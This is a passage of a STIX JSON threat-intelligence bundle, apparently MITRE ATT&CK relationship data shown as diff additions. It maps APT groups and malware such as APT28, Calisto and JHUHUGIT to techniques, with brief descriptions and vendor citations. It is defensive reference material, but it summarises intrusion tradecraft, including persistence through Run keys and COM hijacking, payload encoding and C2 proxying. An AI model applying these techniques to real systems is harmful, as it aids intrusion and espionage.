"Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1", + "source_ref": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", + "modified": "2019-07-25T12:33:12.873Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) encrypts C2 traffic using an RC4 key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:15.918Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--86461465-cb29-4fc9-8fa8-8956c0f94536", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs discovery of permission groups net group /domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--b368c7c2-a593-45cb-b557-aac668a02656", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.277Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim\u2019s machine before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d4784901-968c-4fb1-b0d3-0268d4c40582", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has downloaded second stage malware from compromised websites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--197a0e84-5361-49cc-8e14-24c331665862", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.618Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Lurid](https://attack.mitre.org/software/S0010) performs XOR encryption.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--21717b6b-1fc6-4619-9877-bb36237a8efd", + "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. Retrieved November 12, 2014.", + "source_name": "Villeneuve 2011", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e1910051-019d-4594-ab9d-b588eb370ff2", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.603Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) removed certain files and replaced them so they could not be retrieved.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a58cbb63-024b-4b78-8dad-4661ee445212", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "The reconnaissance modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on network configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[H1N1](https://attack.mitre.org/software/S0132) uses a custom packing algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:15.934Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 1", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Helminth](https://attack.mitre.org/software/S0170) can download additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4cc8afb8-86ab-4537-926f-3178975a7886", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of taking screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--09c63f56-1c5b-4195-9d1a-73b77865ffb8", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "modified": "2019-05-14T19:15:24.314Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9a29dd75-31b1-4385-beb9-e093851849f6", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Reaver](https://attack.mitre.org/software/S0172) queries the Registry to determine the correct Startup path to use for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new service on the remote system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--292248d9-30b0-4de3-9041-407db4e78f78", + "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses HTTP and HTTPS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc", + "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) functions as a proxy server between the victim and C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5f6e76c5-732c-4bc8-9c17-ac1e58a5d88e", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails containing malicious Microsoft Office attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--15bbd8e5-60ad-4906-8231-f92c231bb1ec", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9d329c02-3b9f-42cc-b88b-bbacb3e4e18c", + "source_ref": "course-of-action--a09375e5-63d2-4b65-8b0d-1cfe3e6304ca", + "modified": "2019-07-25T11:20:10.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "[Calisto](https://attack.mitre.org/software/S0274) adds permissions and remote logins to all users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fe56443a-5f0b-4120-9d27-d4d98aae69b8", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060)'s MSGET downloader uses a dead drop resolver to access malicious payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ab66ef8a-f496-48d2-a358-0e4f7b00d5c0", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c5cf4822-a0bf-442a-9943-1937ac45520b", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.468Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--b8306976-370f-403d-9983-fe3327c00709", + "source_ref": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294", + "modified": "2019-07-24T14:36:37.749Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.186Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "description": "[Dok](https://attack.mitre.org/software/S0281) installs a root certificate to aid in man-in-the-middle actions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--97c225e6-64ad-42af-8cc4-4fb4deea39fc", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses mshta.exe to load its program and files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--aaca809f-576c-4875-a09d-5a46a5e5e422", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 